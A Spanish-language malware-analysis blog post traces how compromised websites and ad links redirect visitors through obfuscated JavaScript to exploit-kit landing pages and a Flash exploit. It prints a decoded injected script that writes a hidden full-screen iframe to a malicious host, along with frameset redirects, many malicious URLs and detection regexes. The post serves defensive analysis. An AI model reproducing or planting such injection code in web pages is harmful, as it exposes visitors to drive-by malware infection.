¿Sueñan los analistas con Exploit Kits?

img0Muchas de las web que se visitan a diario están comprometidas, y el usuario corriente navega por ellas sin tener conocimiento alguno del peligro que supone no tener el navegador o la versión de Adobe Flash  actualizada. A continuación vamos a ver un análisis de este tipo de compromisos que por desgracia, cada día es más habitual.

En el análisis de tráfico HTTP se pueden usar herramientas como Burp o  Fiddler.

En este ejemplo he usado Fiddler y en navegador Iceweasel con un plugin para simular distintos User Agent (Switch  user agent), para en momentos determinados emular Internet Explorer.

Si se quiere instalar Fiddler bajo Linux con mono, se puede seguir este manual:

http://fiddler.wikidot.com/mono

En muchas páginas, algunas muy conocidas me he encontrado con este código javascript cifrado (diff-hellman), también llamado  pseudo-Darkleech script. A veces directamente en el index y otras veces en diferentes archivos asociados a la web:

img1

Cada vez que se accede a la web infectada, se genera un nuevo código pero con la misma estructura (“landing page”), como se ve en estos dos casos:

img2

Como se ve en las dos imágenes la estructura es similar. Este código normalmente contacta directamente contra un Angler EK que suele infectar con un Teslacrypt, como se puede ver en el siguiente ejemplo analizado del blog malware-traffic-analysis: http://www.malware-traffic-analysis.net/2016/02/22/index.html

En otros casos hay varias capas de ofuscación, para llegar a un código con estructura diferente a la mostrada. Al descifrar el primer código ofuscado mostrado en la primera imagen se obtiene:

<script type="text/javascript"> if (i2336 == null) { var i2336 = 1; window.status='Done'; document.write('<DIV id=check524 style="DISPLAY: none"><iframe src="http://druivenlezer.drjamesharold.com/boards/viewtopic.php?t=6990&f=r9h3td1je5jk3705" width="'+screen.width+'" height="'+screen.height+'"></iframe></DIV>'); window.status='Done'; } </script>

Redirige a druivenlezer.drjamesharold.com, de nuevo viéndose ahora otra ofuscación entre las líneas comentadas, aparentemente sacadas de algún libro con el fin de aparentar ser código legitimo:

img3

El resultado es una función JavaScript que almacena una cookie y hace que generen etiquetas HTML <iframe>. haciendo una peticion hacia el exploit con una URL característica.

Este código a su vez redirige a la siguiente URL:

http://druivenlezer.drjamesharold.com/begin.wdgt?suggest=7mKMsWhVd&themselves=q5NwI6-ivm&know=pTOjdALQzz&seek=8DdPb3AW4&complete=z9Dyp-&finger=3XHS

Devolviendo un 404 en esta prueba.

Sin entrar en muchos más detalles, tras comprobar que el sistema es vulnerable, la siguiente etapa sería la descarga del archivo SWF malicioso, búsqueda muchas veces infructuosa debido a que las condiciones no se cumplen, ya sea porque detecta una sandbox o porque la versión del navegador o de Adobe flash player no son las idóneas.

Lo interesante ahora es ejecutar este código cifrado, aunque se puede perder mucho tiempo en cambiar el nombre de las variables por algunas más sencillas y averiguar qué hace. Para ello, se puede usar alguna herramienta automatizada mucho más rápida, como es el caso de revelohttp://www.kahusecurity.com/tag/revelo/

Con esta herramienta, que funciona bajo Windows se puede pegar el código HTML  de la web, y automáticamente el programa hace de proxy para ejecutar el código y visualizar las peticiones:

img4

Una vez copiado el código se puede seleccionar  “Capture HTTP Request Via Proxy” (es necesario modifica las opciones de Internet Explorer para que use revelo como proxy) y seleccionar por ejemplo como User Agent Internet Explorer 9 en Windows 7 y “Allow Internet Access”. Ejecuta el código (hacer esto en una máquina virtual aislada) y nos muestra la URL a la que intenta acceder el script:

img5

El dominio ya de por sí tiene mala reputación en Virus Total: http://www.virustotal.com/search/?query=nililopewa.cerarmix.us

De este tipo de URLs: (http://niliopewa[.]ceramix[.]us/fórums/index.php?PHPSESSID=350&action=se8928k8x92973.7i08) se pueden generar expresiones regulares que nos pueden dar pistas para buscar posibles infecciones. Con www.debuggex.com se genera la expresión regular (se puede ajustar más si aparecen muchos falsos positivos):

(.?)+\/forums\/(.?)+\.php\?PHPSESSID\=(.?)+&action=(.?)+

img6

En ocasiones el código malicioso no está directamente en el código fuente de la web, como en este ejemplo, donde en el código fuente se ve un simple link publicitario. Primero ejecuta uno de ellos, porque hay varios:

img7

Vemos que la URL

http://adserver.dominio.com/www/delivery/ajs.php?zoneid=120&cb=67130897609&charset=UTF-8&loc=http%3A//dominio.com

contiene un enlace a

http://strap.canal-ltda.cl/anxtlh4.html:

img8

Y este a su vez genera un iframe:

<html><frameset rows="100%"><frame src="http://md6.foq2q5bgt.top/topic/48162-phases-repossessions-wellwisher-constructively-convertibility-carol-peers/"></frameset></html>

A modo de curiosidad, la  estructura *.top/topic/ seguida de 8 palabras separadas por un guión no es la primera vez que se ve en las pruebas, por lo cual es una buena regex para buscar patrones. Esta URL lleva directamente a web de destino o landing page:

img9

Este código cifrado genera otra URL:

http://md6.foq2q5bgt.top/?q=ME72&k=cYDewg2VLt&a=r9kXJ2s&j=N-188LYosB&c=TKKqOxW&g=hy87TVlrxs

En este caso el codigo de respuesta es 404, ya que parece ser que las condiciones para la llamada al exploit no son las idoneas. No es un problema, porque dentro del código fuente de la web original se hacen más llamadas a links publicitarios con diferente URL (por ejemplo diferente zoneid).

Digamos que esta web tiene unos 5 tipos de landing page cada una buscando unas peculiaridades, para despues ejecutar el exploit adecuado.

Se vuelve a repetir la navegación anterior con otro link publicitario:

http://adserver.dominio.com/www/delivery/ajs.php?zoneid=113&cb=49589140651&charset=UTF-8&loc=http%3A//dominio.com/

vuelve a llamar a http://strap.canal-ltda.cl/anxtlh4.html. Esta vez se genera un nuevo iframe:

<html><frameset rows="100%"><frame src="http://yfcygcjvj.bizonho.org/schoolchild/21186_63q2wjhah03n0/convulsions-29268/rubbishes.asp?4966=n9a9517y"></frameset></html>

Se vuelve a generar otra landing page:

img10

Y vuelve a llamar a http://strap.canal-ltda.cl/anxtlh4.html, pero esta vez ya no hay iframes y todo parece legitimo (referenciando a twitter):

img11

Ahora se cumplen las condiciones deseadas y se accede al recurso SWF. Se produce una llamada a la siguiente URL:

http://yfcygcjvj.bizonho.org/79875.htm?portentous=cfi3wr6cksb8ffl3363&8624=xx38227dbl&activist=500

im12

El archivo flash se puede exportar para su análisis

img12

Con Fiddler se puede visualizar en modo raw  y exportar como SWF:

img13

Como anécdota, al descifrar el código javascript  con revelo, muchas veces genera URLs con patrones parecidos, donde siempre hace una última petición GET con los valores en base 64 asociados a unas variables:

http://druivenlezer.drjamesharold.com/begin.wdgt?suggest=7mKMsWhVd&themselves=q5NwI6-ivm&know=pTOjdALQzz&seek=8DdPb3AW4&complete=z9Dyp-&finger=3XHS

img14

http://dominio.com/?x=&v=YZRp&y=sFh3hUQ&n=WvA7QC&m=vKg5w_Xm&j=sKjwWaRWfxxGTU6PeJusZhD

img15

http://dominio.com/?q=YW6v9&e=8iF&c=jZWWVO_zdL&p=d2GOMLU&w=uypdPr9hPIaWaCgbOUKHpVD

img16

Estas peticiones se pueden usar a modo de código para actuar o no de una forma concreta, usando mod_rewrite con expresiones regulares en el servidor web asociado al malware. En otros casos el nivel de ofuscamiento es diferente y revelo no funciona, es el caso de cifrados como este:

img17

En este caso, al buscar información del cifrado, parece ser que se ha cifrado con JJencode. Así que si existe el encode, facilmente se encuentra el JJdecode utilizando esta herramienta: https://hackvertor.co.uk/hvurl/2o.

Si hay varios script en el código, conviene dvidirlos porque sino fallará si se intentan decodificar a la vez:

img18

Ahora que tenemos el código en unicode, lo transformamos:

img19

Vemos la URL, está catalogada como maliciosa: https://www.virustotal.com/es/domain/seris.biz/information/

Dentro de la web www.kahusecurity.com podemos obtener una comparativa de todos los programas destinados a la labor de descifrar javascript:

img20

En los ejemplos  6, 7 y 8,  pertenecientes a  exploits lo que mejor funciona es revelo y javascript Debugger. JSDetox y SpiderMonkey se suelen usar más para hacer un análisis más interactivo y manual a la vez.